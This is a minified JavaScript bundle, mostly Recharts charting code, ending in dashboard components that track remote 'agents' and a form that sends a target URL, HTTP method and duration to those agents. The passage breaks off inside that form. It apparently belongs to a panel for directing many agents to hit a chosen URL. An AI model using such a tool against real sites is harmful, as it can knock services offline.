iW({layout:e,xAxis:t,yAxis:n,xAxisTicks:r,yAxisTicks:i,dataStartIndex:f,areaSettings:c,stackedData:a,displayedData:x,chartBaseValue:u,bandSize:l})}}),BF=["id"],FF=["activeDot","animationBegin","animationDuration","animationEasing","connectNulls","dot","fill","fillOpacity","hide","isAnimationActive","legendType","stroke","xAxisId","yAxisId"];function Mi(){return Mi=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{dataKey:t,name:n,stroke:r,fill:i,legendType:a,hide:o}=e;return[{inactive:o,dataKey:t,type:a,color:wu(r,i),value:md(n,t),payload:e}]},qF=p.memo(e=>{var{dataKey:t,data:n,stroke:r,strokeWidth:i,fill:a,name:o,hide:l,unit:c,tooltipType:u,id:d}=e,f={dataDefinedOnItem:n,getPosition:Za,settings:{stroke:r,strokeWidth:i,fill:a,dataKey:t,nameKey:void 0,name:md(o,t),hide:l,type:u,color:wu(r,a),unit:c,graphicalItemId:d}};return p.createElement(HS,{tooltipEntrySettings:f})});function YF(e){var{clipPathId:t,points:n,props:r}=e,{needClip:i,dot:a,dataKey:o}=r,l=mr(r);return p.createElement(WB,{points:n,dot:a,className:"recharts-area-dots",dotClassName:"recharts-area-dot",dataKey:o,baseProps:l,needClip:i,clipPathId:t})}function GF(e){var{showLabels:t,children:n,points:r}=e,i=r.map(a=>{var o,l,c={x:(o=a.x)!==null&&o!==void 0?o:0,y:(l=a.y)!==null&&l!==void 0?l:0,width:0,lowerWidth:0,upperWidth:0,height:0};return ba(ba({},c),{},{value:a.value,payload:a.payload,parentViewBox:void 0,viewBox:c,fill:void 0})});return p.createElement(i$,{value:t?i:void 0},n)}function Qb(e){var{points:t,baseLine:n,needClip:r,clipPathId:i,props:a}=e,{layout:o,type:l,stroke:c,connectNulls:u,isRange:d}=a,{id:f}=a,m=c3(a,BF),h=mr(m),x=At(m);return p.createElement(p.Fragment,null,(t==null?void 0:t.length)>1&&p.createElement(Wt,{clipPath:r?"url(#clipPath-".concat(i,")"):void 0},p.createElement(Pa,Mi({},x,{id:f,points:t,connectNulls:u,type:l,baseLine:n,layout:o,stroke:"none",className:"recharts-area-area"})),c!=="none"&&p.createElement(Pa,Mi({},h,{className:"recharts-area-curve",layout:o,type:l,connectNulls:u,fill:"none",points:t})),c!=="none"&&d&&p.createElement(Pa,Mi({},h,{className:"recharts-area-curve",layout:o,type:l,connectNulls:u,fill:"none",points:n}))),p.createElement(YF,{points:t,props:m,clipPathId:i}))}function XF(e){var t,n,{alpha:r,baseLine:i,points:a,strokeWidth:o}=e,l=(t=a[0])===null||t===void 0?void 0:t.y,c=(n=a[a.length-1])===null||n===void 0?void 0:n.y;if(!ye(l)||!ye(c))return null;var u=r*Math.abs(l-c),d=Math.max(...a.map(f=>f.x||0));return ue(i)?d=Math.max(i,d):i&&Array.isArray(i)&&i.length&&(d=Math.max(...i.map(f=>f.x||0),d)),ue(d)?p.createElement("rect",{x:0,y:lf.y||0));return ue(i)?d=Math.max(i,d):i&&Array.isArray(i)&&i.length&&(d=Math.max(...i.map(f=>f.y||0),d)),ue(d)?p.createElement("rect",{x:l({points:o,baseLine:l}),[o,l]),g=Sd(x,"recharts-area-"),y=jT(),[v,b]=p.useState(!1),w=!v,j=p.useCallback(()=>{typeof h=="function"&&h(),b(!1)},[h]),k=p.useCallback(()=>{typeof m=="function"&&m(),b(!0)},[m]);if(y==null)return null;var S=i.current,N=a.current;return p.createElement(GF,{showLabels:w,points:o},r.children,p.createElement(Nd,{animationId:g,begin:u,duration:d,isActive:c,easing:f,onAnimationEnd:j,onAnimationStart:k,key:g},z=>{if(S){var O=S.length/o.length,_=z===1?o:o.map((E,U)=>{var K=Math.floor(U*O);if(S[K]){var R=S[K];return ba(ba({},E),{},{x:gt(R.x,E.x,z),y:gt(R.y,E.y,z)})}return E}),T;return ue(l)?T=gt(N,l,z):wt(l)||Gn(l)?T=gt(N,0,z):T=l.map((E,U)=>{var K=Math.floor(U*O);if(Array.isArray(N)&&N[K]){var R=N[K];return ba(ba({},E),{},{x:gt(R.x,E.x,z),y:gt(R.y,E.y,z)})}return E}),z>0&&(i.current=_,a.current=T),p.createElement(Qb,{points:_,baseLine:T,needClip:t,clipPathId:n,props:r})}return z>0&&(i.current=o,a.current=l),p.createElement(Wt,null,c&&p.createElement("defs",null,p.createElement("clipPath",{id:"animationClipPath-".concat(n)},p.createElement(QF,{alpha:z,points:o,baseLine:l,layout:y,strokeWidth:r.strokeWidth}))),p.createElement(Wt,{clipPath:"url(#animationClipPath-".concat(n,")")},p.createElement(Qb,{points:o,baseLine:l,needClip:t,clipPathId:n,props:r})))}),p.createElement(MS,{label:r.label}))}function eW(e){var{needClip:t,clipPathId:n,props:r}=e,i=p.useRef(null),a=p.useRef();return p.createElement(JF,{needClip:t,clipPathId:n,props:r,previousPointsRef:i,previousBaselineRef:a})}class tW extends p.PureComponent{render(){var{hide:t,dot:n,points:r,className:i,top:a,left:o,needClip:l,xAxisId:c,yAxisId:u,width:d,height:f,id:m,baseLine:h,zIndex:x}=this.props;if(t)return null;var g=Ve("recharts-area",i),y=m,{r:v,strokeWidth:b}=cF(n),w=US(n),j=v*2+b,k=l?"url(#clipPath-".concat(w?"":"dots-").concat(y,")"):void 0;return p.createElement(pi,{zIndex:x},p.createElement(Wt,{className:g},l&&p.createElement("defs",null,p.createElement(lF,{clipPathId:y,xAxisId:c,yAxisId:u}),!w&&p.createElement("clipPath",{id:"clipPath-dots-".concat(y)},p.createElement("rect",{x:o-j/2,y:a-j/2,width:d+j,height:f+j}))),p.createElement(eW,{needClip:l,clipPathId:y,props:this.props})),p.createElement(qb,{points:r,mainColor:wu(this.props.stroke,this.props.fill),itemDataKey:this.props.dataKey,activeDot:this.props.activeDot,clipPath:k}),this.props.isRange&&Array.isArray(h)&&p.createElement(qb,{points:h,mainColor:wu(this.props.stroke,this.props.fill),itemDataKey:this.props.dataKey,activeDot:this.props.activeDot,clipPath:k}))}}var u3={activeDot:!0,animationBegin:0,animationDuration:1500,animationEasing:"ease",connectNulls:!1,dot:!1,fill:"#3182bd",fillOpacity:.6,hide:!1,isAnimationActive:"auto",legendType:"line",stroke:"#3182bd",strokeWidth:1,type:"linear",label:!1,xAxisId:0,yAxisId:0,zIndex:Rt.area};function nW(e){var t,n=rn(e,u3),{activeDot:r,animationBegin:i,animationDuration:a,animationEasing:o,connectNulls:l,dot:c,fill:u,fillOpacity:d,hide:f,isAnimationActive:m,legendType:h,stroke:x,xAxisId:g,yAxisId:y}=n,v=c3(n,FF),b=Qa(),w=uS(),{needClip:j}=t3(g,y),k=In(),{points:S,isRange:N,baseLine:z}=(t=pe(K=>$F(K,e.id,k)))!==null&&t!==void 0?t:{},O=q0();if(b!=="horizontal"&&b!=="vertical"||O==null||w!=="AreaChart"&&w!=="ComposedChart")return null;var{height:_,width:T,x:E,y:U}=O;return!S||!S.length?null:p.createElement(tW,Mi({},v,{activeDot:r,animationBegin:i,animationDuration:a,animationEasing:o,baseLine:z,connectNulls:l,dot:c,fill:u,fillOpacity:d,height:_,hide:f,layout:b,isAnimationActive:m==="auto"?!kd.isSsr:m,isRange:N,legendType:h,needClip:j,points:S,stroke:x,width:T,left:E,top:U,xAxisId:g,yAxisId:y}))}var rW=(e,t,n,r,i)=>{var a=n??t;if(ue(a))return a;var o=e==="horizontal"?i:r,l=o.scale.domain();if(o.type==="number"){var c=Math.max(l[0],l[1]),u=Math.min(l[0],l[1]);return a==="dataMin"?u:a==="dataMax"||c<0?c:Math.max(Math.min(l[0],l[1]),0)}return a==="dataMin"?l[0]:a==="dataMax"?l[1]:l[0]};function iW(e){var{areaSettings:{connectNulls:t,baseValue:n,dataKey:r},stackedData:i,layout:a,chartBaseValue:o,xAxis:l,yAxis:c,displayedData:u,dataStartIndex:d,xAxisTicks:f,yAxisTicks:m,bandSize:h}=e,x=i&&i.length,g=rW(a,o,n,l,c),y=a==="horizontal",v=!1,b=u.map((j,k)=>{var S,N,z,O;if(x)O=i[d+k];else{var _=Le(j,r);Array.isArray(_)?(O=_,v=!0):O=[g,_]}var T=(S=(N=O)===null||N===void 0?void 0:N[1])!==null&&S!==void 0?S:null,E=T==null||x&&!t&&Le(j,r)==null;if(y){var U;return{x:ry({axis:l,ticks:f,bandSize:h,entry:j,index:k}),y:E?null:(U=c.scale.map(T))!==null&&U!==void 0?U:null,value:O,payload:j}}return{x:E?null:(z=l.scale.map(T))!==null&&z!==void 0?z:null,y:ry({axis:c,ticks:m,bandSize:h,entry:j,index:k}),value:O,payload:j}}),w;return x||v?w=b.map(j=>{var k,S=Array.isArray(j.value)?j.value[0]:null;if(y){var N;return{x:j.x,y:S!=null&&j.y!=null&&(N=c.scale.map(S))!==null&&N!==void 0?N:null,payload:j.payload}}return{x:S!=null&&(k=l.scale.map(S))!==null&&k!==void 0?k:null,y:j.y,payload:j.payload}}):w=y?c.scale.map(g):l.scale.map(g),{points:b,baseLine:w??0,isRange:v}}function aW(e){var t=rn(e,u3),n=In();return p.createElement(KS,{id:t.id,type:"area"},r=>p.createElement(p.Fragment,null,p.createElement(Y$,{legendPayload:KF(t)}),p.createElement(qF,{dataKey:t.dataKey,data:t.data,stroke:t.stroke,strokeWidth:t.strokeWidth,fill:t.fill,name:t.name,hide:t.hide,unit:t.unit,tooltipType:t.tooltipType,id:r}),p.createElement(lB,{type:"area",id:r,data:t.data,dataKey:t.dataKey,xAxisId:t.xAxisId,yAxisId:t.yAxisId,zAxisId:0,stackId:W6(t.stackId),hide:t.hide,barSize:void 0,baseValue:t.baseValue,isPanorama:n,connectNulls:t.connectNulls}),p.createElement(nW,Mi({},t,{id:r}))))}var d3=p.memo(aW,n3);d3.displayName="Area";var sW=(e,t)=>t,X0=L([sW,ze,p4,mt,rS,_r,eR,ft],oR),Z0=e=>{var t=e.currentTarget.getBoundingClientRect(),n=t.width/e.currentTarget.offsetWidth,r=t.height/e.currentTarget.offsetHeight;return{chartX:Math.round((e.clientX-t.left)/n),chartY:Math.round((e.clientY-t.top)/r)}},f3=vn("mouseClick"),p3=Ro();p3.startListening({actionCreator:f3,effect:(e,t)=>{var n=e.payload,r=X0(t.getState(),Z0(n));(r==null?void 0:r.activeIndex)!=null&&t.dispatch(J7({activeIndex:r.activeIndex,activeDataKey:void 0,activeCoordinate:r.activeCoordinate}))}});var eh=vn("mouseMove"),m3=Ro(),Tl=null;m3.startListening({actionCreator:eh,effect:(e,t)=>{var n=e.payload;Tl!==null&&cancelAnimationFrame(Tl);var r=Z0(n);Tl=requestAnimationFrame(()=>{var i=t.getState(),a=O0(i,i.tooltip.settings.shared);if(a==="axis"){var o=X0(i,r);(o==null?void 0:o.activeIndex)!=null?t.dispatch(Y4({activeIndex:o.activeIndex,activeDataKey:void 0,activeCoordinate:o.activeCoordinate})):t.dispatch(q4())}Tl=null})}});function oW(e,t){return t instanceof HTMLElement?"HTMLElement <".concat(t.tagName,' class="').concat(t.className,'">'):t===window?"global.window":e==="children"&&typeof t=="object"&&t!==null?"<>":t}var Jb={accessibilityLayer:!0,barCategoryGap:"10%",barGap:4,barSize:void 0,className:void 0,maxBarSize:void 0,stackOffset:"none",syncId:void 0,syncMethod:"index",baseValue:void 0,reverseStackOrder:!1},h3=Ut({name:"rootProps",initialState:Jb,reducers:{updateOptions:(e,t)=>{var n;e.accessibilityLayer=t.payload.accessibilityLayer,e.barCategoryGap=t.payload.barCategoryGap,e.barGap=(n=t.payload.barGap)!==null&&n!==void 0?n:Jb.barGap,e.barSize=t.payload.barSize,e.maxBarSize=t.payload.maxBarSize,e.stackOffset=t.payload.stackOffset,e.syncId=t.payload.syncId,e.syncMethod=t.payload.syncMethod,e.className=t.payload.className,e.baseValue=t.payload.baseValue,e.reverseStackOrder=t.payload.reverseStackOrder}}}),lW=h3.reducer,{updateOptions:cW}=h3.actions,uW=null,dW={updatePolarOptions:(e,t)=>t.payload},x3=Ut({name:"polarOptions",initialState:uW,reducers:dW}),{updatePolarOptions:fW}=x3.actions,pW=x3.reducer,v3=vn("keyDown"),g3=vn("focus"),Q0=Ro();Q0.startListening({actionCreator:v3,effect:(e,t)=>{var n=t.getState(),r=n.rootProps.accessibilityLayer!==!1;if(r){var{keyboardInteraction:i}=n.tooltip,a=e.payload;if(!(a!=="ArrowRight"&&a!=="ArrowLeft"&&a!=="Enter")){var o=T0(i,os(n),Go(n),Zo(n)),l=o==null?-1:Number(o);if(!(!Number.isFinite(l)||l<0)){var c=_r(n);if(a==="Enter"){var u=hu(n,"axis","hover",String(i.index));t.dispatch(Gm({active:!i.active,activeIndex:i.index,activeCoordinate:u}));return}var d=U7(n),f=d==="left-to-right"?1:-1,m=a==="ArrowRight"?1:-1,h=l+m*f;if(!(c==null||h>=c.length||h<0)){var x=hu(n,"axis","hover",String(h));t.dispatch(Gm({active:!0,activeIndex:h.toString(),activeCoordinate:x}))}}}}}});Q0.startListening({actionCreator:g3,effect:(e,t)=>{var n=t.getState(),r=n.rootProps.accessibilityLayer!==!1;if(r){var{keyboardInteraction:i}=n.tooltip;if(!i.active&&i.index==null){var a="0",o=hu(n,"axis","hover",String(a));t.dispatch(Gm({active:!0,activeIndex:a,activeCoordinate:o}))}}}});var cn=vn("externalEvent"),y3=Ro(),ap=new Map;y3.startListening({actionCreator:cn,effect:(e,t)=>{var{handler:n,reactEvent:r}=e.payload;if(n!=null){r.persist();var i=r.type,a=ap.get(i);a!==void 0&&cancelAnimationFrame(a);var o=requestAnimationFrame(()=>{try{var l=t.getState(),c={activeCoordinate:$D(l),activeDataKey:oS(l),activeIndex:Va(l),activeLabel:sS(l),activeTooltipIndex:Va(l),isTooltipActive:BD(l)};n(c,r)}finally{ap.delete(i)}});ap.set(i,o)}}});var mW=L([as],e=>e.tooltipItemPayloads),hW=L([mW,(e,t)=>t,(e,t,n)=>n],(e,t,n)=>{if(t!=null){var r=e.find(a=>a.settings.graphicalItemId===n);if(r!=null){var{getPosition:i}=r;if(i!=null)return i(t)}}}),b3=vn("touchMove"),w3=Ro();w3.startListening({actionCreator:b3,effect:(e,t)=>{var n=e.payload;if(!(n.touches==null||n.touches.length===0)){var r=t.getState(),i=O0(r,r.tooltip.settings.shared);if(i==="axis"){var a=n.touches[0];if(a==null)return;var o=X0(r,Z0({clientX:a.clientX,clientY:a.clientY,currentTarget:n.currentTarget}));(o==null?void 0:o.activeIndex)!=null&&t.dispatch(Y4({activeIndex:o.activeIndex,activeDataKey:void 0,activeCoordinate:o.activeCoordinate}))}else if(i==="item"){var l,c=n.touches[0];if(document.elementFromPoint==null||c==null)return;var u=document.elementFromPoint(c.clientX,c.clientY);if(!u||!u.getAttribute)return;var d=u.getAttribute(Ik),f=(l=u.getAttribute(Dk))!==null&&l!==void 0?l:void 0,m=ss(r).find(g=>g.id===f);if(d==null||m==null||f==null)return;var{dataKey:h}=m,x=hW(r,d,f);t.dispatch(K4({activeDataKey:h,activeIndex:d,activeCoordinate:x,activeGraphicalItemId:f}))}}}});var xW=sk({brush:tF,cartesianAxis:qB,chartData:DR,errorBars:oF,graphicalItems:sB,layout:T6,legend:IT,options:OR,polarAxis:x$,polarOptions:pW,referenceElements:rF,rootProps:lW,tooltip:eD,zIndex:wR}),vW=function(t){var n=arguments.length>1&&arguments[1]!==void 0?arguments[1]:"Chart";return i6({reducer:xW,preloadedState:t,middleware:r=>{var i;return r({serializableCheck:!1,immutableCheck:!["commonjs","es6","production"].includes((i="es6")!==null&&i!==void 0?i:"")}).concat([p3.middleware,m3.middleware,Q0.middleware,y3.middleware,w3.middleware])},enhancers:r=>{var i=r;return typeof r=="function"&&(i=r()),i.concat(wk({type:"raf"}))},devTools:{serialize:{replacer:oW},name:"recharts-".concat(n)}})};function j3(e){var{preloadedState:t,children:n,reduxStoreName:r}=e,i=In(),a=p.useRef(null);if(i)return n;a.current==null&&(a.current=vW(t,r));var o=bx;return p.createElement(_F,{context:o,store:a.current},n)}function gW(e){var{layout:t,margin:n}=e,r=Qe(),i=In();return p.useEffect(()=>{i||(r(A6(t)),r(E6(n)))},[r,i,t,n]),null}var k3=p.memo(gW,n3);function N3(e){var t=Qe();return p.useEffect(()=>{t(cW(e))},[t,e]),null}function e2(e){var{zIndex:t,isPanorama:n}=e,r=p.useRef(null),i=Qe();return p.useLayoutEffect(()=>(r.current&&i(yR({zIndex:t,element:r.current,isPanorama:n})),()=>{i(bR({zIndex:t,isPanorama:n}))}),[i,t,n]),p.createElement("g",{tabIndex:-1,ref:r})}function t2(e){var{children:t,isPanorama:n}=e,r=pe(cR);if(!r||r.length===0)return t;var i=r.filter(o=>o<0),a=r.filter(o=>o>0);return p.createElement(p.Fragment,null,i.map(o=>p.createElement(e2,{key:o,zIndex:o,isPanorama:n})),t,a.map(o=>p.createElement(e2,{key:o,zIndex:o,isPanorama:n})))}var yW=["children"];function bW(e,t){if(e==null)return{};var n,r,i=wW(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(r=0;r{var n=bT(),r=wT(),i=tN();if(!ai(n)||!ai(r))return null;var{children:a,otherAttributes:o,title:l,desc:c}=e,u,d;return o!=null&&(typeof o.tabIndex=="number"?u=o.tabIndex:u=i?0:void 0,typeof o.role=="string"?d=o.role:d=i?"application":void 0),p.createElement(s5,ju({},o,{title:l,desc:c,role:d,tabIndex:u,width:n,height:r,style:jW,ref:t}),a)}),NW=e=>{var{children:t}=e,n=pe(gd);if(!n)return null;var{width:r,height:i,y:a,x:o}=n;return p.createElement(s5,{width:r,height:i,x:o,y:a},t)},n2=p.forwardRef((e,t)=>{var{children:n}=e,r=bW(e,yW),i=In();return i?p.createElement(NW,null,p.createElement(t2,{isPanorama:!0},n)):p.createElement(kW,ju({ref:t},r),p.createElement(t2,{isPanorama:!1},n))});function SW(){var e=Qe(),[t,n]=p.useState(null),r=pe(Y6);return p.useEffect(()=>{if(t!=null){var i=t.getBoundingClientRect(),a=i.width/t.offsetWidth;ye(a)&&a!==r&&e(O6(a))}},[t,e,r]),n}function r2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function zW(e){for(var t=1;t(KR(),null);function ku(e){if(typeof e=="number")return e;if(typeof e=="string"){var t=parseFloat(e);if(!Number.isNaN(t))return t}return 0}var _W=p.forwardRef((e,t)=>{var n,r,i=p.useRef(null),[a,o]=p.useState({containerWidth:ku((n=e.style)===null||n===void 0?void 0:n.width),containerHeight:ku((r=e.style)===null||r===void 0?void 0:r.height)}),l=p.useCallback((u,d)=>{o(f=>{var m=Math.round(u),h=Math.round(d);return f.containerWidth===m&&f.containerHeight===h?f:{containerWidth:m,containerHeight:h}})},[]),c=p.useCallback(u=>{if(typeof t=="function"&&t(u),u!=null&&typeof ResizeObserver<"u"){var{width:d,height:f}=u.getBoundingClientRect();l(d,f);var m=x=>{var g=x[0];if(g!=null){var{width:y,height:v}=g.contentRect;l(y,v)}},h=new ResizeObserver(m);h.observe(u),i.current=h}},[t,l]);return p.useEffect(()=>()=>{var u=i.current;u!=null&&u.disconnect()},[l]),p.createElement(p.Fragment,null,p.createElement(Bo,{width:a.containerWidth,height:a.containerHeight}),p.createElement("div",ti({ref:c},e)))}),OW=p.forwardRef((e,t)=>{var{width:n,height:r}=e,[i,a]=p.useState({containerWidth:ku(n),containerHeight:ku(r)}),o=p.useCallback((c,u)=>{a(d=>{var f=Math.round(c),m=Math.round(u);return d.containerWidth===f&&d.containerHeight===m?d:{containerWidth:f,containerHeight:m}})},[]),l=p.useCallback(c=>{if(typeof t=="function"&&t(c),c!=null){var{width:u,height:d}=c.getBoundingClientRect();o(u,d)}},[t,o]);return p.createElement(p.Fragment,null,p.createElement(Bo,{width:i.containerWidth,height:i.containerHeight}),p.createElement("div",ti({ref:l},e)))}),TW=p.forwardRef((e,t)=>{var{width:n,height:r}=e;return p.createElement(p.Fragment,null,p.createElement(Bo,{width:n,height:r}),p.createElement("div",ti({ref:t},e)))}),MW=p.forwardRef((e,t)=>{var{width:n,height:r}=e;return typeof n=="string"||typeof r=="string"?p.createElement(OW,ti({},e,{ref:t})):typeof n=="number"&&typeof r=="number"?p.createElement(TW,ti({},e,{width:n,height:r,ref:t})):p.createElement(p.Fragment,null,p.createElement(Bo,{width:n,height:r}),p.createElement("div",ti({ref:t},e)))});function LW(e){return e?_W:MW}var IW=p.forwardRef((e,t)=>{var{children:n,className:r,height:i,onClick:a,onContextMenu:o,onDoubleClick:l,onMouseDown:c,onMouseEnter:u,onMouseLeave:d,onMouseMove:f,onMouseUp:m,onTouchEnd:h,onTouchMove:x,onTouchStart:g,style:y,width:v,responsive:b,dispatchTouchEvents:w=!0}=e,j=p.useRef(null),k=Qe(),[S,N]=p.useState(null),[z,O]=p.useState(null),_=SW(),T=Ex(),E=(T==null?void 0:T.width)>0?T.width:v,U=(T==null?void 0:T.height)>0?T.height:i,K=p.useCallback(P=>{_(P),typeof t=="function"&&t(P),N(P),O(P),P!=null&&(j.current=P)},[_,t,N,O]),R=p.useCallback(P=>{k(f3(P)),k(cn({handler:a,reactEvent:P}))},[k,a]),I=p.useCallback(P=>{k(eh(P)),k(cn({handler:u,reactEvent:P}))},[k,u]),F=p.useCallback(P=>{k(q4()),k(cn({handler:d,reactEvent:P}))},[k,d]),B=p.useCallback(P=>{k(eh(P)),k(cn({handler:f,reactEvent:P}))},[k,f]),V=p.useCallback(()=>{k(g3())},[k]),$=p.useCallback(P=>{k(v3(P.key))},[k]),q=p.useCallback(P=>{k(cn({handler:o,reactEvent:P}))},[k,o]),Y=p.useCallback(P=>{k(cn({handler:l,reactEvent:P}))},[k,l]),ie=p.useCallback(P=>{k(cn({handler:c,reactEvent:P}))},[k,c]),ae=p.useCallback(P=>{k(cn({handler:m,reactEvent:P}))},[k,m]),fe=p.useCallback(P=>{k(cn({handler:g,reactEvent:P}))},[k,g]),de=p.useCallback(P=>{w&&k(b3(P)),k(cn({handler:x,reactEvent:P}))},[k,w,x]),G=p.useCallback(P=>{k(cn({handler:h,reactEvent:P}))},[k,h]),te=LW(b);return p.createElement(hS.Provider,{value:S},p.createElement(ZA.Provider,{value:z},p.createElement(te,{width:E??(y==null?void 0:y.width),height:U??(y==null?void 0:y.height),className:Ve("recharts-wrapper",r),style:zW({position:"relative",cursor:"default",width:E,height:U},y),onClick:R,onContextMenu:q,onDoubleClick:Y,onFocus:V,onKeyDown:$,onMouseDown:ie,onMouseEnter:I,onMouseLeave:F,onMouseMove:B,onMouseUp:ae,onTouchEnd:G,onTouchMove:de,onTouchStart:fe,ref:K},p.createElement(AW,null),n)))}),DW=["width","height","responsive","children","className","style","compact","title","desc"];function RW(e,t){if(e==null)return{};var n,r,i=$W(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(r=0;r{var{width:n,height:r,responsive:i,children:a,className:o,style:l,compact:c,title:u,desc:d}=e,f=RW(e,DW),m=mr(f);return c?p.createElement(p.Fragment,null,p.createElement(Bo,{width:n,height:r}),p.createElement(n2,{otherAttributes:m,title:u,desc:d},a)):p.createElement(IW,{className:o,style:l,width:n,height:r,responsive:i??!1,onClick:e.onClick,onMouseLeave:e.onMouseLeave,onMouseEnter:e.onMouseEnter,onMouseMove:e.onMouseMove,onMouseDown:e.onMouseDown,onMouseUp:e.onMouseUp,onContextMenu:e.onContextMenu,onDoubleClick:e.onDoubleClick,onTouchStart:e.onTouchStart,onTouchMove:e.onTouchMove,onTouchEnd:e.onTouchEnd},p.createElement(n2,{otherAttributes:m,title:u,desc:d,ref:t},p.createElement(aF,null,a)))});function th(){return th=Object.assign?Object.assign.bind():function(e){for(var t=1;t{t(fW(e))},[t,e]),null}var VW=["layout"];function nh(){return nh=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var n=rn(e,JW);return p.createElement(YW,{chartName:"PieChart",defaultTooltipEventType:"item",validateTooltipEventTypes:QW,tooltipPayloadSearcher:vS,categoricalChartProps:n,ref:t})}),tU=["axis"],nU=p.forwardRef((e,t)=>p.createElement(WW,{chartName:"AreaChart",defaultTooltipEventType:"axis",validateTooltipEventTypes:tU,tooltipPayloadSearcher:vS,categoricalChartProps:e,ref:t}));function rU({agents:e}){const t=p.useMemo(()=>{const i=Date.now(),a=24*60*60*1e3,o=24,l=a/o,c=[];for(let u=0;unew Date(x.first_seen).getTime()<=d+l).length;c.push({time:m,count:h})}return c},[e]),n=p.useMemo(()=>{const i=e.filter(l=>l.status==="alive").length,a=e.filter(l=>l.status==="stale").length,o=e.filter(l=>l.status==="dead").length;return[{name:"Alive",value:i,color:"#06B6D4"},{name:"Stale",value:a,color:"#71717A"},{name:"Dead",value:o,color:"#3F3F46"}].filter(l=>l.value>0)},[e]),r=p.useId().replace(/:/g,"_")+"_agentFill";return e.length===0?null:s.jsxs("div",{className:"grid grid-cols-1 sm:grid-cols-2 gap-3 mb-6",children:[s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[s.jsx("p",{className:"text-[10px] font-medium text-zerin-text-muted uppercase tracking-wider mb-3",children:"Agent Count (24h)"}),s.jsx("div",{style:{height:100},children:s.jsx(dy,{width:"100%",height:"100%",children:s.jsxs(nU,{data:t,margin:{top:0,right:0,bottom:0,left:0},children:[s.jsx("defs",{children:s.jsxs("linearGradient",{id:r,x1:"0",y1:"0",x2:"0",y2:"1",children:[s.jsx("stop",{offset:"0%",stopColor:"#06B6D4",stopOpacity:.2}),s.jsx("stop",{offset:"100%",stopColor:"#06B6D4",stopOpacity:0})]})}),s.jsx(db,{contentStyle:{background:"#111113",border:"1px solid #1F1F23",borderRadius:0,fontSize:11,color:"#FAFAFA"},labelStyle:{color:"#71717A"}}),s.jsx(d3,{type:"monotone",dataKey:"count",stroke:"#06B6D4",strokeWidth:1.5,fill:`url(#${r})`,dot:!1,activeDot:{r:3,fill:"#06B6D4",stroke:"#09090B",strokeWidth:2}})]})})})]}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[s.jsx("p",{className:"text-[10px] font-medium text-zerin-text-muted uppercase tracking-wider mb-3",children:"Status Breakdown"}),s.jsxs("div",{className:"flex items-center gap-4",children:[s.jsx("div",{style:{width:100,height:100},children:s.jsx(dy,{width:"100%",height:"100%",children:s.jsxs(eU,{children:[s.jsx(YS,{data:n,cx:"50%",cy:"50%",innerRadius:30,outerRadius:45,paddingAngle:2,dataKey:"value",stroke:"none",children:n.map((i,a)=>s.jsx(Wd,{fill:i.color},a))}),s.jsx(db,{contentStyle:{background:"#111113",border:"1px solid #1F1F23",borderRadius:0,fontSize:11,color:"#FAFAFA"}})]})})}),s.jsx("div",{className:"space-y-2",children:n.map(i=>s.jsxs("div",{className:"flex items-center gap-2 text-xs",children:[s.jsx("span",{className:"w-2 h-2 rounded-full",style:{backgroundColor:i.color}}),s.jsx("span",{className:"text-zerin-text-dim",children:i.name}),s.jsx("span",{className:"text-zerin-text font-mono font-medium",children:i.value})]},i.name))})]})]})]})}function iU({tags:e,onChange:t,readOnly:n=!1}){const[r,i]=p.useState(""),[a,o]=p.useState(!1),l=p.useRef(null),c=p.useCallback(()=>{const f=r.trim().toLowerCase();if(!f||e.includes(f)){i("");return}t([...e,f]),i(""),o(!1)},[r,e,t]),u=p.useCallback(f=>{t(e.filter(m=>m!==f))},[e,t]),d=f=>{f.key==="Enter"&&(f.preventDefault(),c()),f.key==="Escape"&&(o(!1),i(""))};return s.jsxs("div",{className:"flex flex-wrap items-center gap-1.5",children:[e.map(f=>s.jsxs("span",{className:`inline-flex items-center gap-1 px-2 py-0.5 text-xs font-medium\r bg-zerin-panel-hover text-zerin-text-dim border border-zerin-panel-border`,children:[f,!n&&s.jsx("button",{onClick:()=>u(f),className:"text-zerin-text-muted hover:text-zerin-danger transition-colors ml-0.5",children:s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]},f)),!n&&s.jsx(s.Fragment,{children:a?s.jsx("input",{ref:l,type:"text",value:r,onChange:f=>i(f.target.value),onKeyDown:d,onBlur:()=>{r.trim()?c():o(!1)},autoFocus:!0,placeholder:"tag name",className:`w-20 bg-zerin-bg border border-zerin-panel-border px-1.5 py-0.5\r text-xs text-zerin-text placeholder-zerin-text-muted\r focus:outline-none focus:border-zerin-accent/50 transition-all`}):s.jsxs("button",{onClick:()=>{o(!0),setTimeout(()=>{var f;return(f=l.current)==null?void 0:f.focus()},50)},className:`inline-flex items-center gap-0.5 px-1.5 py-0.5 text-xs\r text-zerin-text-muted hover:text-zerin-accent\r border border-dashed border-zerin-panel-border hover:border-zerin-accent/40\r transition-colors`,children:[s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 4v16m8-8H4"})}),"tag"]})})]})}const aU=["GET","POST","HEAD"],sU=[{label:"30s",value:30},{label:"60s",value:60},{label:"5m",value:300},{label:"10m",value:600}];function C3({agentIds:e,agentStatus:t}){const[n,r]=p.useState(""),[i,a]=p.useState(60),[o,l]=p.useState(10),[c,u]=p.useState("GET"),[d,f]=p.useState(!1),[m,h]=p.useState(null),[x,g]=p.useState(!1),[y,v]=p.useState([]),b=t==="dead",w=e.length,j=(N,z)=>{h({text:N,type:z}),setTimeout(()=>h(null),5e3)},k=async()=>{if(!n.trim()){j("Target URL is required","err");return}f(!0),v([]);try{const z=(await 